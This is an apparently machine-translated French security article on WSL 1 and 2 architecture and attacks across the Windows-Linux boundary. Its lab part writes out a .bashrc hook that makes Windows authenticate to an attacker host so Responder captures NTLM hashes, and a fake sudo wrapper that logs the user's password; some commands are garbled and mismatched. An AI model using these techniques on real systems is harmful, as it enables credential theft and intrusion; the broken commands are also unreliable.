En 2016, Microsoft a introduit la nouvelle technologie WSL ( W indows S ubsystem for Linux), qui a permis à long terme de fédérer des concurrents jusqu'alors inconciliables qui se sont battus pour la popularité auprès des utilisateurs d'OS ordinaires et avancés: Windows et Linux. Cette technologie a permis d'utiliser les outils Linux dans un environnement Windows sans avoir à démarrer Linux, par exemple en utilisant le Multi-boot. Sur Habr, vous pouvez trouver un grand nombre d'articles décrivant les avantages de l'utilisation de WSL. Cependant, malheureusement, au moment de la création de l'article, aucune étude de sécurité d'une telle symbiose des systèmes d'exploitation n'a été trouvée sur cette ressource. Ce message tentera de résoudre ce problème. L'article parlera des fonctionnalités des architectures WSL 1 et 2, et analysera plusieurs exemples d'attaques sur des systèmes utilisant ces technologies. L'article est divisé en 2 parties.Le premier fournira les méthodes théoriques de base des attaques Linux et Windows. Le deuxième article comprendra la mise en place d'un environnement de test et la relecture des attaques.
WSL 1: fonctionnalités d'architecture
Pour une immersion la plus précise dans les problèmes de sécurité WSL, il est nécessaire de déterminer les principales nuances associées à la mise en œuvre du sous-système. L'une des principales tâches utilisateur résolues par WSL est de fournir la possibilité de travailler sur les systèmes terminaux Linux sur un hôte avec le système d'exploitation Windows. En outre, la compatibilité proposée était si native que les fichiers exécutables Linux (ELF) pouvaient être exécutés directement sur un système Windows. Pour atteindre ces objectifs, un sous-système spécial a été créé dans Windows 10 qui vous permet d'exécuter des applications Linux à l'aide d'un ensemble d'appels système spécifiques - ainsi, une tentative a été faite pour mapper un ensemble d'appels système Linux à Windows. Cela a été physiquement implémenté en ajoutant de nouveaux pilotes et un nouveau format de processus. Visuellement, l'architecture ressemblait à ceci:
En fait, l'interaction avec le système d'exploitation Linux était organisée à travers plusieurs modules nucléaires et un type spécial de processus - pico. Dans le diagramme ci-dessus, vous pouvez voir que le processus exécuté dans l'instance Linux sur l'hôte doit être natif et doit utiliser les mêmes ressources que les applications Windows standard. Mais comment y parvenir? Le projet Drawbridge a développé des concepts de processus Windows qui ont fourni tous les composants du système d'exploitation (selon la version) nécessaires pour exécuter une application OS différente.
A noter que l'abstraction proposée permettait de ne pas se focaliser sur le système d'exploitation (notamment Windows), dans lequel le processus d'un autre OS devrait démarrer, et offrait une approche générale.Ainsi, toute application à l'intérieur du processus pico pourrait s'exécuter sans regarder le noyau Windows:
- Les problèmes de compatibilité et de traduction des appels système doivent être traités par des fournisseurs spécialisés;
- Le contrôle d'accès doit être effectué via Security Monitor. Le moniteur réside dans le noyau et Windows avait donc besoin d'une mise à niveau sous la forme d'un nouveau pilote qui pourrait servir de fournisseur pour ces processus. Un prototype du processus pico est schématisé ci-dessous:
Étant donné que le système de fichiers Linux utilise des noms de fichiers et de répertoires sensibles à la casse, 2 types de systèmes de fichiers ont été ajoutés à Windows pour gérer WSL - VolFS et DriveFS. VolFS est une implémentation du système de fichiers Linux, DriveFS est un système de fichiers qui fonctionne selon les règles de Windows, mais qui a la possibilité de choisir la sensibilité à la casse des noms.
WSL 2
WSL 1 avait un certain nombre de limitations qui l'empêchaient d'être utilisé pour résoudre la plage maximale de tâches: par exemple, il n'avait pas la capacité d'exécuter des applications Linux 32 bits et les pilotes de périphériques ne pouvaient pas être utilisés. Par conséquent, en 2020, WSL 2 a été publié, ce qui a changé l'approche de la construction du sous-système. WSL 2 est une machine virtuelle optimisée qui répond aux caractéristiques de consommation de ressources de WSL 1. Maintenant, en fonction des problèmes résolus par l'utilisateur Windows, vous pouvez sélectionner la version requise du sous-système Linux. Pour atténuer les vulnérabilités potentielles, WSL 2 a été implémenté sur la base d'Hyper-V dans Windows 10. Sous cette forme, Windows a la capacité d'exécuter le noyau Linux de manière isolée. Il convient de rappeler que la version 1 de WSL a été introduite en tant que fonctionnalité bêta,qui était censé montrer le vecteur de développement de Windows dans ce domaine, donc la transition vers Hyper-V était inévitable. L'architecture finale ressemble à ceci:
Dans cette version, les noyaux Windows et Linux ont leurs propres ressources et l'intersection n'existe que dans le système de fichiers, mais cette intersection n'est pas complète. L'interaction entre les systèmes de fichiers est réalisée au moyen d'un wrapper client-serveur qui s'exécute sur le protocole 9P.
Microsoft offre actuellement la possibilité de basculer entre WSL 1 et WSL 2. Les deux versions sont disponibles pour utilisation.
Sécurité WSL
À l'heure actuelle, il existe plusieurs articles décrivant certaines approches de l'utilisation d'outils OS légitimes pour attaquer les interactions entre sous-systèmes. Nous utiliserons leurs scripts pour vérifier la pertinence des attaques au moment de la rédaction de cet article. Liste générale des attaques et des scénarios:
1. Implémentation du système de fichiers: droits d'accès, présence de répertoires partagés / mécanismes d'échange de données.
La recherche a été menée sur le sujet de la violation des règles d'accès de Linux FS-> Windows FS, Windows FS-> Linux FS . Des études ont démontré la possibilité de modifier un fichier donné dans le système d'exploitation cible. Des tentatives ont également été faites pour remplacer, créer des doublons et supprimer une partie des systèmes de fichiers.
Scénario:
- A. Attaque du système d'exploitation Windows - modification des fichiers du répertoire / etc de Linux.
- B. Attaque du système d'exploitation Linux - modification des fichiers dans les répertoires:
C:\Windows,C:\Program Files,C:\Users\<User>
2. Implémentation de la pile réseau.
La recherche a été menée sur des exemples d'attaques du système d'exploitation Linux sous Windows. Les fonctionnalités de la pile réseau ont été utilisées, à savoir des mécanismes d'authentification sur diverses ressources.
Scénario:
- Ouverture de l'accès à un port occupé sur un système Windows
- Ouverture du port en l'absence de droits appropriés
- Lancement d'un reverse shell à l'aide d'un fichier elf dans le système d'exploitation Windows.
3. Dissimulation du lancement de processus logiciels malveillants en raison du sous-système WSL.
La recherche était basée sur un fait simple - les sous-systèmes de sécurité ne peuvent pas intercepter les événements dans un autre noyau, qui fonctionne en utilisant un fournisseur légitime du système d'exploitation dans le cas de WSL 1. Dans le cas de WSL 2, il n'y a aucun moyen de voir les événements qui se produisent dans un noyau séparé dans machine virtuelle légère.
Scénario:
1) Lancement de l'application d'accès à distance au système et affichage des événements enregistrés.
Expériences WSL 1: Hash Catching (système d'exploitation Windows)
Enfin, nous sommes arrivés à la partie pratique. Tout d'abord, vous devez configurer l'environnement pour les tests. Toutes les expériences seront effectuées sur un stand avec Windows 10 2004. Ubuntu 18.04 a été choisi comme image du système d'exploitation pour WSL. L'image a été choisie au hasard et toute autre fonctionnera de la même manière. Commandes de configuration du support:
Tout d'abord, vous devez exécuter en
powershell.exetant qu'administrateur.
Pour WSL 1, vous devez exécuter les commandes: Après avoir redémarré le support, vous pouvez appeler la commande bash. Si tout a fonctionné correctement, vous verrez quelque chose comme ceci dans la console Windows: Nous utiliserons la distribution Kali Linux comme machine de l'attaquant, toutes les machines doivent être sur le même réseau local.
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux # WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing # Linux Microsoft
Ubuntu.appx install —root #
, , , root. sam.
Restart-Computer #
Supposons que nous ayons un accès non privilégié à WSL sur une machine Windows. Essayons d'attaquer le système d'exploitation Linux en appelant une commande depuis Linux. Pour implémenter l'attaque, nous utiliserons une technique simple de lancement automatique - nous ajouterons notre script à exécuter dans l'environnement Linux. Pour ce faire, vous devez modifier le fichier
.bashrc.
Sur une machine avec WSL, exécutez:
1. bash
2. : cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe \» \\\\\\\\attacker_ip\\\\shareName\\\\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitSur une machine Kali Linux, exécutez:
1. Responder -I eth0 -rdvwSur une machine Windows, exécutez bash.
Nous attendons le résultat sur la machine Kali Linux:
Ainsi, nous avons obtenu les hachages de l'utilisateur Windows via le sous-système WSL en exécutant la commande sur le système Linux.
Expériences WSL 1: récupération du mot de passe utilisateur (système d'exploitation Linux)
Faisons une autre expérience. Lors de cette vérification, nous compléterons le fichier avec
.bashrcplusieurs commandes afin d'obtenir le mot de passe de l'utilisateur pour le système d'exploitation Linux.
Commençons bash et entrez les commandes:
1. mkdir .hidden
2. echo "export PATH=\$HOME/.hidden/:\$PATH:" >> .bashrc
3. echo "read -sp \"[sudo] password for $USER: \" sudopass" > .hidden/sudo
4. echo "echo \"\"" >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo \"Sorry, try again.\"" >> .mysudo/sudo
7. echo "echo \$sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo \$@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exitPour que l'attaque se termine avec succès, Sam doit appeler sudo dans un terminal Linux. Après cela, le mot de passe de l'utilisateur du système d'exploitation Linux sera dans le fichier
pass.txt:
La mise en œuvre des attaques n'a été présentée qu'à titre d'information théorique.
La partie suivante de l'article décrira l'implémentation du protocole 9P, envisagera la création d'un scanner pour ce protocole, et également mener une attaque en l'utilisant.
Liste de la littérature utilisée
Lire la suite